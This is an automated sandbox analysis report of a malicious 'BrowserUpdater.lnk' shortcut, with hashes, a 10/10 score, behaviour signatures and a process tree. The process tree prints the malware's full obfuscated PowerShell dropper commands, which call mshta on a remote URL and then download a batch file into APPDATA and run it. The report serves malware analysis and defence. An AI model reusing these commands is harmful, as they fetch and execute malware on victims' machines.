Resubmissions

07-08-2024 21:06

240807-zxvl6sxfkf 10

06-08-2024 20:12

240806-yzbfmssgqc 10

06-08-2024 19:51

240806-yk45eaydrn 10

Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    06-08-2024 19:51

General

  • Target

    BrowserUpdater.lnk

  • Size

    2KB

  • MD5

    7ed0b7e22f568d2eedaf956ba831d0a6

  • SHA1

    c073465e6ca109f2069f2e26f28525e66da54bee

  • SHA256

    7a6ad3868f0223896ceea378a056b2568ad6f6ca2e65baaa7b55e1033da3abd7

  • SHA512

    c718e67fb2554d7bbbac60a1a3dae6fe6bcdf4c06c0cababd8b623d52f1d306f9441c27deaaff269e129fb0dcecb17430480b1941b14d95a01d3ffd4c87887cd

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://redr.me/g3boil/

Signatures

  • Blocklisted process makes network request 12 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\BrowserUpdater.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $C='.dmsi:aLSretpobg3hl/'; &(-join($C[(-612+615),(909-903),(148-141)])) :* (-join($C[(-612+615),(909-903),(148-141)])); :* %\ (-join($C[(410-408),(-612+615),(429-412),(-438+449),(909-903)])); foreach($p in @((371-354),(-821+832),(335-324),(-207+219),(-654+657),(740-735),(-129+148),(890-871),(222-213),(-354+364),(-800+801),(683-674),(550-550),(261-259),(462-452),(938-919),(-453+468),(-790+806),(-864+878),(749-736),(-625+629),(626-608),(-363+382))){$Y+=$C[$p]}; %\ $Y;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2932
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://redr.me/g3boil/
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function uqAehMaIe($NJTwTbrMX, $XJZkVi){[IO.File]::WriteAllBytes($NJTwTbrMX, $XJZkVi)};function apapZoXr($NJTwTbrMX){if($NJTwTbrMX.EndsWith((yNrVuHrL @(59913,59967,59975,59975))) -eq $True){Start-Process (yNrVuHrL @(59981,59984,59977,59967,59975,59975,59918,59917,59913,59968,59987,59968)) $NJTwTbrMX}else{Start-Process $NJTwTbrMX}};function gqcoIri($AHPcmYwv){$WfBZy = New-Object (yNrVuHrL @(59945,59968,59983,59913,59954,59968,59965,59934,59975,59972,59968,59977,59983));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$XJZkVi = $WfBZy.DownloadData($AHPcmYwv);return $XJZkVi};function yNrVuHrL($nIhcvb){$kXpIyeO=59867;$yoiSqUYc=$Null;foreach($SdAaMQf in $nIhcvb){$yoiSqUYc+=[char]($SdAaMQf-$kXpIyeO)};return $yoiSqUYc};function ZIxEQA(){$AQGzE = $env:APPDATA + '\';$tvNCPRFAm = gqcoIri (yNrVuHrL @(59971,59983,59983,59979,59982,59925,59914,59914,59970,59972,59983,59971,59984,59965,59913,59966,59978,59976,59914,59933,59981,59978,59986,59982,59968,59981,59934,59978,59976,59979,59964,59977,59988,59943,59943,59934,59914,59912,59916,59917,59914,59981,59968,59975,59968,59964,59982,59968,59982,59914,59967,59978,59986,59977,59975,59978,59964,59967,59914,59982,59968,59976,59983,59964,59970,59914,59934,59975,59978,59984,59967,59913,59965,59964,59983));$CRARBv = $AQGzE + 'Cloud.bat';uqAehMaIe $CRARBv $tvNCPRFAm;apapZoXr $CRARBv;;;;}ZIxEQA;
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1316

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    501e7af7203d914f43f5742ced4752a5

    SHA1

    09a6733b8e8506095fab9fb9b5891cb430de28ec

    SHA256

    9bf85d074d84ceaf5991f68c89521c3b523e6e80bfcdd099afb3100e926d1ff6

    SHA512

    feb91ab7b0338030865ddc66ebffe0bc4e30393c8ab36c7a4a52d6c7341ac154dc3a722afcd9d353fc6f97b286f5a93fb1151d25b2f625c0197ea3d28917fd8f

  • C:\Users\Admin\AppData\Local\Temp\Cab64A.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Tar6F8.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/1316-492-0x000000001B6B0000-0x000000001B992000-memory.dmp

    Filesize

    2.9MB

  • memory/1316-493-0x0000000001F00000-0x0000000001F08000-memory.dmp

    Filesize

    32KB

  • memory/2932-38-0x000007FEF600E000-0x000007FEF600F000-memory.dmp

    Filesize

    4KB

  • memory/2932-39-0x000000001B670000-0x000000001B952000-memory.dmp

    Filesize

    2.9MB

  • memory/2932-40-0x0000000001D80000-0x0000000001D88000-memory.dmp

    Filesize

    32KB

  • memory/2932-41-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2932-42-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2932-43-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2932-44-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

    Filesize

    9.6MB